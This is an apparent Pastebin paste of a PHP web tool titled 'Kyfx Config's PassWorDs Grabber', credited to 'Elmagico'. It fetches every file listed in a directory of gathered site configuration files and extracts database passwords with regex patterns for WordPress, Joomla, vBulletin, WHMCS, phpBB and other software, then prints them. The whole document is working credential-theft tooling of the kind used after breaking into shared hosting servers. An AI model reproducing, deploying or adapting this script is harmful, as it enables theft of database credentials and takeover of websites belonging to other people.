Kyfx

Kyfx Config's PassWorDs Grabber

Mar 27th, 2015
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.56 KB | None | 0 0
  1. <head>
  2. <meta content="text/html; charset=ISO-8859-1"
  3. http-equiv="content-type">
  4. <title>~#@Kyfx Config's PassWorDs Grabber@#~</title>
  5. </head>
  6. <body style="background-color: black; color: rgb(0, 0, 0);"
  7. alink="#ee0000" link="#0000ee" vlink="#551a8b">
  8. <div style="text-align: center;"><big
  9. style="font-weight: bold; color: rgb(51, 204, 0);"><img
  10. style="width: 180px; height: 184px;" alt=""
  11. src="http://www12.0zz0.com/2014/12/28/03/895190770.jpg"></big><br>
  12. </div>
  13. <big style="font-weight: bold; color: rgb(51, 204, 0);"><br>
  14. </big>
  15. <div style="text-align: center;"><big
  16. style="font-weight: bold; color: rgb(0, 163, 0);">Magico Config's
  17. Passwords Grabber</big><br style="color: rgb(51, 204, 0);">
  18. </div>
  19. <div style="text-align: center;"><big style="color: rgb(153, 153, 153);"><span
  20. style="color: rgb(186, 124, 62);"><span style="color: rgb(0, 153, 0);">Usage</span>
  21. </span>: http://www.site.com/configs/</big><br>
  22. <span style="color: rgb(51, 102, 255);"><span
  23. style="color: rgb(0, 153, 0);">By</span> : <a href="https://www.facebook.com/ElKiller.2013"><span
  24. style="color: rgb(153, 153, 153);">Elmagico<span style="color: white;"></span></a></span></span><span
  25. style="color: rgb(153, 153, 153);"></span><br>
  26. <span style="color: rgb(255, 204, 0);"></span><br>
  27. <center>
  28. <span style="color: rgb(255, 204, 0);">
  29. <?php
  30. /*
  31. - Coded By: Elmagico
  32. - http://magico-sec.blogspot.com
  33. - Contact: facebook.com/ElKiller.2013
  34. - https://www.youtube.com/user/forbiden202/videos
  35. */
  36. set_time_limit(0);
  37. error_reporting(0);
  38. echo'<form method="post">
  39. <input type="text" name="conf" value="" />
  40. <input type="submit" value="GeT Passwords" name="get" />
  41. </form>';
  42.  
  43. $g = $_POST['get'];
  44. $dir = $_POST['conf'];
  45. //////////////////////////////////////////////////////////////////////////////////////////////
  46. if(isset($g) && $dir != ""){
  47.  
  48. $cn = @file_get_contents($dir);
  49. //preg_match_all('#href="(.*?)">(.*?)<#',$cn,$m); // $m[2]
  50. preg_match_all('#href="(.*?)"#',$cn,$m);
  51.  
  52.  
  53. foreach($m[1] as $txt){
  54.  
  55. $url = $dir.$txt;
  56. $cnurl = @file_get_contents($url);
  57. preg_match('#\'DB_PASSWORD\', \'(.*)\'#',$cnurl,$m1); // wordpress
  58. preg_match('#password = \'(.*)\'#',$cnurl,$m2); // joomla
  59. preg_match('#password\'] = \'(.*)\'#',$cnurl,$m3); // vb
  60. preg_match('#db_password = "(.*)"#',$cnurl,$m4); // whmcs
  61. preg_match('#db_password = \'(.*)\'#',$cnurl,$m4); // whmcs
  62. preg_match('#dbpass = "(.*)"#',$cnurl,$m5); //
  63. preg_match('#password = \'(.*)\'#',$cnurl,$m6); // connnect.php
  64. preg_match('#dbpasswd = \'(.*)\'#',$cnurl,$m8); // phpBB 3.0.x
  65. preg_match('#password_localhost = "(.*)"#',$cnurl,$m9); // conexao.php
  66. preg_match('#senha = "(.*)"#',$cnurl,$m10); // /_inc/config.inc.php
  67.  
  68. if(!empty($m1[1])){ echo $m1[1]."<br>"; }
  69. elseif(!empty($m2[1])){ echo $m2[1]."<br>"; }
  70. elseif(!empty($m3[1])){ echo $m3[1]."<br>"; }
  71. elseif(!empty($m4[1])){ echo $m4[1]."<br>"; }
  72. elseif(!empty($m5[1])){ echo $m5[1]."<br>"; }
  73. elseif(!empty($m6[1])){ echo $m6[1]."<br>"; }
  74. elseif(!empty($m7[1])){ echo $m7[1]."<br>"; }
  75. elseif(!empty($m8[1])){ echo $m8[1]."<br>"; }
  76. elseif(!empty($m9[1])){ echo $m9[1]."<br>"; }
  77. elseif(!empty($m10[1])){ echo $m10[1]."<br>"; }
  78.  
  79. }
  80.  
  81. }
  82. ?>
Add Comment
Please, Sign In to add comment